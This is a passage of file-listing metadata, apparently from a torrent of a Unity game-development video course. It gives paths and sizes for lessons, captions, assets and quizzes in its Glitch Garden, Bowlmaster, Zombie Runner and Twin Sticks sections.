Zombies Clone/176 User Testing Tweaks.mp4", "length": 84940347}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/177 Unity 5 Web GL Sharing Optional.mp4", "length": 52429997}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/178 DOWNLOAD Unity Project.html", "length": 139}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/179 Section Wrap Up.mp4", "length": 84453025}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/127 Your Glitch Garden Assets/GG03-Glitch-Garden-Assets-V-8.zip", "length": 42232939}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/128 Section Notes/Glitch-Garden-Slides-v.2-white-background.pdf", "length": 5750572}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/128 Section Notes/Glitch-Garden-Slides-v.2.pdf", "length": 7694763}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/129 Making A Splash Screen/Making-A-Splash-Screen.zip", "length": 964626}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/129 Making A Splash Screen/url.txt", "length": 77}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/130 Scalling & Aspect Ratios/url.txt", "length": 249}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/132 Menus Options Music/Menus-Options-Music.zip", "length": 16637655}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/138 UI Sliders For Options/UI-Sliders-For-Options-End-State.zip", "length": 16838668}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/143 Texture Size & Compression/url.txt", "length": 197}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/150 Projectile Animation/url.txt", "length": 25}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/151 Using Unity Remote/url.txt", "length": 48}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/156 Components vs Inheritance/url.txt", "length": 49}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/163 Creating When Needed/url.txt", "length": 49}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/165 Enemy Spawning & Flow/GG36-The-Flow-Channel-Indie-Dev-Stories-Indie-Dev-Stories.pdf", "length": 446435}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/165 Enemy Spawning & Flow/url.txt", "length": 75}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/172 Play Testing & Tuning/Play-Testing-Tuning-End-State.zip", "length": 18977560}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/173 Installing Android Studio/GG45-Building-To-Android-Screenshot-.png", "length": 742288}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/173 Installing Android Studio/url.txt", "length": 32}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/attached_files/178 DOWNLOAD Unity Project/User-Testing-Tweaks-End-State.zip", "length": 19009946}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/125 Introduction To Glitch Garden-EN.srt", "length": 3968}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/129 Making A Splash Screen-EN.srt", "length": 23728}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/130 Scaling Aspect Ratios-EN.srt", "length": 22838}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/131 Alternative Music Manager-EN.srt", "length": 19958}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/132 Menus Options Music-EN.srt", "length": 29087}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/133 Adding Fade Transitions-EN.srt", "length": 21480}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/134 Scaling Level Backgrounds-EN.srt", "length": 14035}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/135 Introducing PlayerPrefs-EN.srt", "length": 5833}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/136 Our PlayerPrefsManager.cs-EN.srt", "length": 15075}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/137 Our PlayerPrefsManager - part 2-EN.srt", "length": 17088}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/138 UI Sliders For Options-EN.srt", "length": 29073}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/139 Sprite Sheet Animation-EN.srt", "length": 21461}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/140 Ratio Math Primer-EN.srt", "length": 7078}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/141 World Space UI Canvas-EN.srt", "length": 21906}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/142 The Animation Controller-EN.srt", "length": 22354}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/143 Texture Size Compression-EN.srt", "length": 15867}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/144 Using Gimp To Slice Images-EN.srt", "length": 17303}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/145 2D Bone-Based Animation-EN.srt", "length": 23973}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/150 Projectile Animation-EN.srt", "length": 15132}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/152 Review Improvements-EN.srt", "length": 18031}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/153 Moving Attackers From Script-EN.srt", "length": 17081}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/154 Collision Matrix In Script-EN.srt", "length": 30500}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/155 Using Animation Events-EN.srt", "length": 25302}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/156 Components vs Inheritance-EN.srt", "length": 27144}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/157 Using A Health Component-EN.srt", "length": 23842}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/158 Animating Defenders Projectiles-EN.srt", "length": 32378}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/159 Animator Firing Projectiles-EN.srt", "length": 24969}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/160 Separate Attack Fire States-EN.srt", "length": 13997}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/161 Handling Projectile Damage-EN.srt", "length": 9470}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/162 Tower Selector Buttons-EN.srt", "length": 21982}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/163 Creating When Needed-EN.srt", "length": 16126}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/164 Spawn Defenders To Grid-EN.srt", "length": 40594}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/165 Enemy Spawning Flow-EN.srt", "length": 39007}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/166 Shooters Detect Attackers-EN.srt", "length": 33322}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/167 Using Stars As Currency-EN.srt", "length": 25063}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/168 Spending Star Currency-EN.srt", "length": 26907}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/169 Handle Lose Condition-EN.srt", "length": 17448}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/170 UI Slider Level Timer-EN.srt", "length": 38312}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/171 Review Tidy Up-EN.srt", "length": 26999}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/172 Play Testing Tuning-EN.srt", "length": 31031}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/173 Installing Android Studio-EN.srt", "length": 8497}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/174 Building To Android-EN.srt", "length": 18997}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/175 Build To iOS Simulator-EN.srt", "length": 16837}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/176 User Testing Tweaks-EN.srt", "length": 23516}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/177 Unity 5 Web GL Sharing Optional-EN.srt", "length": 5318}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/captions/179 Section Wrap Up-EN.srt", "length": 6018}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/quizzes/012 Mid Section QUIZ.html", "length": 7184}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/quizzes/013 Mid Section QUIZ.html", "length": 1524}, {"path": "07 Glitch Garden A Plants vs. Zombies Clone/quizzes/014 Section End QUIZ.html", "length": 1524}, {"path": "08 Bowlmaster 10-Pin Bowling/180 Introduction to Bowlmaster.mp4", "length": 28835442}, {"path": "08 Bowlmaster 10-Pin Bowling/181 Game Design Document.pdf", "length": 1022026}, {"path": "08 Bowlmaster 10-Pin Bowling/182 Your Bowlmaster Assets.pdf", "length": 3031884}, {"path": "08 Bowlmaster 10-Pin Bowling/183 Section Notes.pdf", "length": 6242710}, {"path": "08 Bowlmaster 10-Pin Bowling/184 Installing Unity 5.mp4", "length": 23714655}, {"path": "08 Bowlmaster 10-Pin Bowling/185 Creating 3D Cube Floor.mp4", "length": 43495742}, {"path": "08 Bowlmaster 10-Pin Bowling/186 Using Blender To Create Assets.mp4", "length": 24469542}, {"path": "08 Bowlmaster 10-Pin Bowling/187 How To Install Blender.mp4", "length": 26639215}, {"path": "08 Bowlmaster 10-Pin Bowling/188 Import Pin From Blender.mp4", "length": 90527684}, {"path": "08 Bowlmaster 10-Pin Bowling/189 3D Sphere As Bowling Ball.mp4", "length": 58875997}, {"path": "08 Bowlmaster 10-Pin Bowling/190 Control Camera To Track Ball.mp4", "length": 60044383}, {"path": "08 Bowlmaster 10-Pin Bowling/191 3D Collisions Convex Meshes.mp4", "length": 66407079}, {"path": "08 Bowlmaster 10-Pin Bowling/192 Top Camera Render Texture.mp4", "length": 55357646}, {"path": "08 Bowlmaster 10-Pin Bowling/193 Improve UI Scaling.mp4", "length": 44650549}, {"path": "08 Bowlmaster 10-Pin Bowling/194 Simple Touch Control System.mp4", "length": 86112674}, {"path": "08 Bowlmaster 10-Pin Bowling/195 Adding Arrows To Nudge Ball.mp4", "length": 82340898}, {"path": "08 Bowlmaster 10-Pin Bowling/196 Animation Sub-State Machines.mp4", "length": 73051236}, {"path": "08 Bowlmaster 10-Pin Bowling/197 Working Around Nested Prefabs.mp4", "length": 87907626}, {"path": "08 Bowlmaster 10-Pin Bowling/198 Counting Upright Objects.mp4", "length": 68944247}, {"path": "08 Bowlmaster 10-Pin Bowling/199 Keep Going.mp4", "length": 23354444}, {"path": "08 Bowlmaster 10-Pin Bowling/200 Detecting Pins Have Settled 1.mp4", "length": 109785121}, {"path": "08 Bowlmaster 10-Pin Bowling/201 Detecting Pins Have Settled 2.mp4", "length": 111762980}, {"path": "08 Bowlmaster 10-Pin Bowling/202 Sub-states Default States.mp4", "length": 65627952}, {"path": "08 Bowlmaster 10-Pin Bowling/203 Calling Animator Helper Scripts.mp4", "length": 61759894}, {"path": "08 Bowlmaster 10-Pin Bowling/204 Some Debugging Tips.mp4", "length": 85539166}, {"path": "08 Bowlmaster 10-Pin Bowling/205 Common Physics Issues.mp4", "length": 109525830}, {"path": "08 Bowlmaster 10-Pin Bowling/206 Tidying Refactoring Code.mp4", "length": 64826281}, {"path": "08 Bowlmaster 10-Pin Bowling/207 How 10-Pin Bowling Scoring Works.mp4", "length": 42541748}, {"path": "08 Bowlmaster 10-Pin Bowling/208 Test Driven Development TDD.mp4", "length": 15823717}, {"path": "08 Bowlmaster 10-Pin Bowling/209 Install Unity Test Tools.mp4", "length": 44219996}, {"path": "08 Bowlmaster 10-Pin Bowling/210 Making Your First Test Pass.mp4", "length": 66413554}, {"path": "08 Bowlmaster 10-Pin Bowling/211 Red Green Refactor.mp4", "length": 76016489}, {"path": "08 Bowlmaster 10-Pin Bowling/212 Finishing Our Control Code.mp4", "length": 99672078}, {"path": "08 Bowlmaster 10-Pin Bowling/213 Failing Tests Challenge.mp4", "length": 79260877}, {"path": "08 Bowlmaster 10-Pin Bowling/214 Bug Reporting Cycle.mp4", "length": 60140533}, {"path": "08 Bowlmaster 10-Pin Bowling/215 Wire-Up ActionMaster.cs.mp4", "length": 154719243}, {"path": "08 Bowlmaster 10-Pin Bowling/216 Using OnTriggerExit.mp4", "length": 84356684}, {"path": "08 Bowlmaster 10-Pin Bowling/217 Creating A Testable Architecture.mp4", "length": 53674892}, {"path": "08 Bowlmaster 10-Pin Bowling/218 Tidying Before Moving On.mp4", "length": 85198963}, {"path": "08 Bowlmaster 10-Pin Bowling/219 Refactoring Code Tests.mp4", "length": 96801318}, {"path": "08 Bowlmaster 10-Pin Bowling/220 A Game Manager With State.mp4", "length": 102813662}, {"path": "08 Bowlmaster 10-Pin Bowling/221 An Epic TDD Challenge.mp4", "length": 58057177}, {"path": "08 Bowlmaster 10-Pin Bowling/222 Realtime Bowling Scoring Solution.mp4", "length": 77797085}, {"path": "08 Bowlmaster 10-Pin Bowling/223 Golden Copy Testing.mp4", "length": 60218459}, {"path": "08 Bowlmaster 10-Pin Bowling/224 An Array Of UI Text.mp4", "length": 64614624}, {"path": "08 Bowlmaster 10-Pin Bowling/225 Tracing Errors Using Console.mp4", "length": 69340954}, {"path": "08 Bowlmaster 10-Pin Bowling/226 Try Catch For Error Handling.mp4", "length": 17182986}, {"path": "08 Bowlmaster 10-Pin Bowling/227 Static Classes In C.mp4", "length": 49136572}, {"path": "08 Bowlmaster 10-Pin Bowling/228 Unit Testing Monobehaviours.mp4", "length": 53365174}, {"path": "08 Bowlmaster 10-Pin Bowling/229 Designing Your Own Tests.mp4", "length": 62002922}, {"path": "08 Bowlmaster 10-Pin Bowling/230 Final Fixes Finishing Off.mp4", "length": 37320034}, {"path": "08 Bowlmaster 10-Pin Bowling/231 Bug Fixes Upgrading Test Tools.mp4", "length": 37015262}, {"path": "08 Bowlmaster 10-Pin Bowling/232 DOWNLOAD Unity Project.html", "length": 139}, {"path": "08 Bowlmaster 10-Pin Bowling/233 Section Wrap Up.mp4", "length": 22114858}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/181 Game Design Document/Bm02-Game-Design-Documentpdf.pdf", "length": 1022026}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/182 Your Bowlmaster Assets/Bowling-Pin-FBX-Blender-Not-Needed-.zip", "length": 110836}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/182 Your Bowlmaster Assets/Bowlmaster-Assets-V-10.zip", "length": 8778031}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/182 Your Bowlmaster Assets/ScoreMasterTest.cs.zip", "length": 1355}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/183 Section Notes/BM04-Section-Notes.pdf", "length": 6242668}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/183 Section Notes/Bowlmaster-Section-Notes-White-Background.pdf", "length": 3508549}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/187 How To Install Blender/url.txt", "length": 38}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/189 3D Sphere As Bowling Ball/url.txt", "length": 43}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/192 Top Camera Render Texture/url.txt", "length": 55}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/206 Tidying Refactoring Code/url.txt", "length": 60}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/207 How 10-Pin Bowling Scoring Works/url.txt", "length": 89}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/208 Test Driven Development TDD/url.txt", "length": 53}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/209 Install Unity Test Tools/url.txt", "length": 51}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/212 Finishing Our Control Code/Action-Master-Scripts.zip", "length": 1302}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/219 Refactoring Code Tests/url.txt", "length": 61}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/221 An Epic TDD Challenge/Score-Master-Test-Cs.zip", "length": 1332}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/222 Realtime Bowling Scoring Solution/url.txt", "length": 54}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/228 Unit Testing Monobehaviours/url.txt", "length": 83}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/229 Designing Your Own Tests/Our-Score-Display-Test-1-Cs.zip", "length": 863}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/230 Final Fixes Finishing Off/url.txt", "length": 70}, {"path": "08 Bowlmaster 10-Pin Bowling/attached_files/232 DOWNLOAD Unity Project/Bowlmaster-End-State.zip", "length": 9274600}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/180 Introduction to Bowlmaster-EN.srt", "length": 2589}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/184 Installing Unity 5-EN.srt", "length": 7705}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/185 Creating 3D Cube Floor-EN.srt", "length": 23962}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/186 Using Blender To Create Assets-EN.srt", "length": 3545}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/187 How To Install Blender-EN.srt", "length": 9857}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/188 Import Pin From Blender-EN.srt", "length": 34131}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/189 3D Sphere As Bowling Ball-EN.srt", "length": 18933}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/190 Control Camera To Track Ball-EN.srt", "length": 14646}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/191 3D Collisions Convex Meshes-EN.srt", "length": 20787}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/192 Top Camera Render Texture-EN.srt", "length": 19265}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/193 Improve UI Scaling-EN.srt", "length": 11690}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/194 Simple Touch Control System-EN.srt", "length": 30881}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/195 Adding Arrows To Nudge Ball-EN.srt", "length": 27067}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/196 Animation Sub-State Machines-EN.srt", "length": 27933}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/197 Working Around Nested Prefabs-EN.srt", "length": 27203}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/198 Counting Upright Objects-EN.srt", "length": 22900}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/199 Keep Going-EN.srt", "length": 2761}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/200 Detecting Pins Have Settled 1-EN.srt", "length": 31662}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/201 Detecting Pins Have Settled 2-EN.srt", "length": 36091}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/202 Sub-states Default States-EN.srt", "length": 25817}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/203 Calling Animator Helper Scripts-EN.srt", "length": 24145}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/204 Some Debugging Tips-EN.srt", "length": 32764}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/205 Common Physics Issues-EN.srt", "length": 32178}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/206 Tidying Refactoring Code-EN.srt", "length": 18911}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/207 How 10-Pin Bowling Scoring Works-EN.srt", "length": 10667}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/208 Test Driven Development TDD-EN.srt", "length": 7827}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/209 Install Unity Test Tools-EN.srt", "length": 21532}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/210 Making Your First Test Pass-EN.srt", "length": 27043}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/211 Red Green Refactor-EN.srt", "length": 33320}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/212 Finishing Our Control Code-EN.srt", "length": 27898}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/213 Failing Tests Challenge-EN.srt", "length": 20667}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/214 Bug Reporting Cycle-EN.srt", "length": 18838}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/215 Wire-Up ActionMaster.cs-EN.srt", "length": 26267}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/216 Using OnTriggerExit-EN.srt", "length": 19981}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/217 Creating A Testable Architecture-EN.srt", "length": 31034}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/218 Tidying Before Moving On-EN.srt", "length": 19141}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/219 Refactoring Code Tests-EN.srt", "length": 33265}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/220 A Game Manager With State-EN.srt", "length": 29891}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/221 An Epic TDD Challenge-EN.srt", "length": 15666}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/222 Realtime Bowling Scoring Solution-EN.srt", "length": 28271}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/223 Golden Copy Testing-EN.srt", "length": 16261}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/224 An Array Of UI Text-EN.srt", "length": 25193}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/225 Tracing Errors Using Console-EN.srt", "length": 21081}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/226 Try Catch For Error Handling-EN.srt", "length": 7149}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/227 Static Classes In C-EN.srt", "length": 14439}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/228 Unit Testing Monobehaviours-EN.srt", "length": 18395}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/229 Designing Your Own Tests-EN.srt", "length": 21732}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/230 Final Fixes Finishing Off-EN.srt", "length": 13066}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/231 Bug Fixes Upgrading Test Tools-EN.srt", "length": 6814}, {"path": "08 Bowlmaster 10-Pin Bowling/captions/233 Section Wrap Up-EN.srt", "length": 1808}, {"path": "08 Bowlmaster 10-Pin Bowling/quizzes/015 Mid Section QUIZ.html", "length": 1524}, {"path": "08 Bowlmaster 10-Pin Bowling/quizzes/016 Section End QUIZ.html", "length": 1524}, {"path": "09 Zombie Runner FPS/234 Introduction to Zombie Runner.mp4", "length": 11835896}, {"path": "09 Zombie Runner FPS/235 Game Design Document.pdf", "length": 801523}, {"path": "09 Zombie Runner FPS/236 Your Zombie Runner Assets.html", "length": 142}, {"path": "09 Zombie Runner FPS/237 Section Notes.pdf", "length": 1370929}, {"path": "09 Zombie Runner FPS/238 About Unity 5.1 Features.mp4", "length": 52770459}, {"path": "09 Zombie Runner FPS/239 Creating A Terrain.mp4", "length": 198117986}, {"path": "09 Zombie Runner FPS/240 First Person Character Controller.mp4", "length": 132233593}, {"path": "09 Zombie Runner FPS/241 Placing Trees Details.mp4", "length": 192598708}, {"path": "09 Zombie Runner FPS/242 Adding A Water Table.mp4", "length": 146669010}, {"path": "09 Zombie Runner FPS/243 Awsome-ify Your Scene Lighting.mp4", "length": 208380000}, {"path": "09 Zombie Runner FPS/244 Setting Up Your Navmesh.mp4", "length": 161669535}, {"path": "09 Zombie Runner FPS/245 Scaling Your Characters.mp4", "length": 138224274}, {"path": "09 Zombie Runner FPS/246 Setup Player Spawn Points.mp4", "length": 98020184}, {"path": "09 Zombie Runner FPS/247 Using Input Mapping.mp4", "length": 52124277}, {"path": "09 Zombie Runner FPS/248 Adding 3D Helicopter Sound.mp4", "length": 148743157}, {"path": "09 Zombie Runner FPS/249 Rigged Mechanim Animation.mp4", "length": 65214157}, {"path": "09 Zombie Runner FPS/250 Exploring Humanoid Animation.mp4", "length": 108012281}, {"path": "09 Zombie Runner FPS/251 Simple Day-Night Cycle.mp4", "length": 59447536}, {"path": "09 Zombie Runner FPS/252 Searching For Clear Area.mp4", "length": 177014395}, {"path": "09 Zombie Runner FPS/253 Using SendMessageUpwards.mp4", "length": 68004545}, {"path": "09 Zombie Runner FPS/254 Inner Voice To Guide Player.mp4", "length": 113557747}, {"path": "09 Zombie Runner FPS/255 Using BroadcastMessage.mp4", "length": 35684619}, {"path": "09 Zombie Runner FPS/256 Refactoring Our Message System.mp4", "length": 72248670}, {"path": "09 Zombie Runner FPS/257 Normalizing Audio Files.mp4", "length": 61110132}, {"path": "09 Zombie Runner FPS/258 Landing Area Prefab.mp4", "length": 114321670}, {"path": "09 Zombie Runner FPS/259 Compacting Your Unity Folder.mp4", "length": 44603249}, {"path": "09 Zombie Runner FPS/260 DOWNLOAD Unity Project.html", "length": 139}, {"path": "09 Zombie Runner FPS/261 Section Wrap-Up.mp4", "length": 13318863}, {"path": "09 Zombie Runner FPS/attached_files/236 Your Zombie Runner Assets/If-Youre-Missing-The-Standard-Assets-Pack (1).png", "length": 147343}, {"path": "09 Zombie Runner FPS/attached_files/236 Your Zombie Runner Assets/If-Youre-Missing-The-Standard-Assets-Pack.png", "length": 147343}, {"path": "09 Zombie Runner FPS/attached_files/237 Section Notes/Zombie-Runner-Notes-White-Background.pdf", "length": 558305}, {"path": "09 Zombie Runner FPS/attached_files/260 DOWNLOAD Unity Project/Zombie-Runner-End-State.zip", "length": 118608287}, {"path": "09 Zombie Runner FPS/captions/234 Introduction to Zombie Runner-EN.srt", "length": 1108}, {"path": "09 Zombie Runner FPS/captions/238 About Unity 5.1 Features-EN.srt", "length": 7873}, {"path": "09 Zombie Runner FPS/captions/239 Creating A Terrain-EN.srt", "length": 22686}, {"path": "09 Zombie Runner FPS/captions/240 First Person Character Controller-EN.srt", "length": 17119}, {"path": "09 Zombie Runner FPS/captions/241 Placing Trees Details-EN.srt", "length": 14309}, {"path": "09 Zombie Runner FPS/captions/242 Adding A Water Table-EN.srt", "length": 10384}, {"path": "09 Zombie Runner FPS/captions/243 Awsome-ify Your Scene Lighting-EN.srt", "length": 17627}, {"path": "09 Zombie Runner FPS/captions/244 Setting Up Your Navmesh-EN.srt", "length": 14785}, {"path": "09 Zombie Runner FPS/captions/245 Scaling Your Characters-EN.srt", "length": 16339}, {"path": "09 Zombie Runner FPS/captions/246 Setup Player Spawn Points-EN.srt", "length": 20863}, {"path": "09 Zombie Runner FPS/captions/247 Using Input Mapping-EN.srt", "length": 17366}, {"path": "09 Zombie Runner FPS/captions/248 Adding 3D Helicopter Sound-EN.srt", "length": 20086}, {"path": "09 Zombie Runner FPS/captions/249 Rigged Mechanim Animation-EN.srt", "length": 13523}, {"path": "09 Zombie Runner FPS/captions/250 Exploring Humanoid Animation-EN.srt", "length": 17101}, {"path": "09 Zombie Runner FPS/captions/251 Simple Day-Night Cycle-EN.srt", "length": 11972}, {"path": "09 Zombie Runner FPS/captions/252 Searching For Clear Area-EN.srt", "length": 19934}, {"path": "09 Zombie Runner FPS/captions/253 Using SendMessageUpwards-EN.srt", "length": 13906}, {"path": "09 Zombie Runner FPS/captions/254 Inner Voice To Guide Player-EN.srt", "length": 16438}, {"path": "09 Zombie Runner FPS/captions/255 Using BroadcastMessage-EN.srt", "length": 15430}, {"path": "09 Zombie Runner FPS/captions/256 Refactoring Our Message System-EN.srt", "length": 21787}, {"path": "09 Zombie Runner FPS/captions/257 Normalizing Audio Files-EN.srt", "length": 10826}, {"path": "09 Zombie Runner FPS/captions/258 Landing Area Prefab-EN.srt", "length": 13469}, {"path": "09 Zombie Runner FPS/captions/259 Compacting Your Unity Folder-EN.srt", "length": 13805}, {"path": "09 Zombie Runner FPS/captions/261 Section Wrap-Up-EN.srt", "length": 2386}, {"path": "09 Zombie Runner FPS/quizzes/017 Section End QUIZ.html", "length": 1524}, {"path": "10 Twin Sticks 2.5D/262 Welcome To This Section.mp4", "length": 41581217}, {"path": "10 Twin Sticks 2.5D/263 Section Notes.pdf", "length": 1148700}, {"path": "10 Twin Sticks 2.5D/264 Your Twin Stick Assets.html", "length": 139}, {"path": "10 Twin Sticks 2.5D/265 Introducing Version Control.mp4", "length": 48805891}, {"path": "10 Twin Sticks 2.5D/266 Sharing Your Game With Git.mp4", "length": 59849270}, {"path": "10 Twin Sticks 2.5D/267 Using SourceTree Git.mp4", "length": 98153031}, {"path": "10 Twin Sticks 2.5D/268 Using CrossPlatformInputManager.mp4", "length": 102236424}, {"path": "10 Twin Sticks 2.5D/269 Using Analog Gamepad Optional.mp4", "length": 41331500}, {"path": "10 Twin Sticks 2.5D/270 Using The RollerBall Prefab.mp4", "length": 44034951}, {"path": "10 Twin Sticks 2.5D/271 Designing A Replay System.mp4", "length": 11239371}, {"path": "10 Twin Sticks 2.5D/272 Class Vs Struct In C.mp4", "length": 54146059}, {"path": "10 Twin Sticks 2.5D/273 Creating A Replay System.mp4", "length": 74146401}, {"path": "10 Twin Sticks 2.5D/274 Building A Game Manager.mp4", "length": 49252682}, {"path": "10 Twin Sticks 2.5D/275 Touchscreen Joystick Control.mp4", "length": 76697653}, {"path": "10 Twin Sticks 2.5D/276 Level Unlocks In Unity.mp4", "length": 60935159}, {"path": "10 Twin Sticks 2.5D/277 Reading From 2nd Stick.mp4", "length": 114653339}, {"path": "10 Twin Sticks 2.5D/278 DOWNLOAD Unity Project.html", "length": 139}, {"path": "10 Twin Sticks 2.5D/279 Section Wrap-Up.mp4", "length": 23666136}, {"path": "10 Twin Sticks 2.5D/attached_files/263 Section Notes/TS03-Section-Notes-White-Background.pdf", "length": 293425}, {"path": "10 Twin Sticks 2.5D/attached_files/263 Section 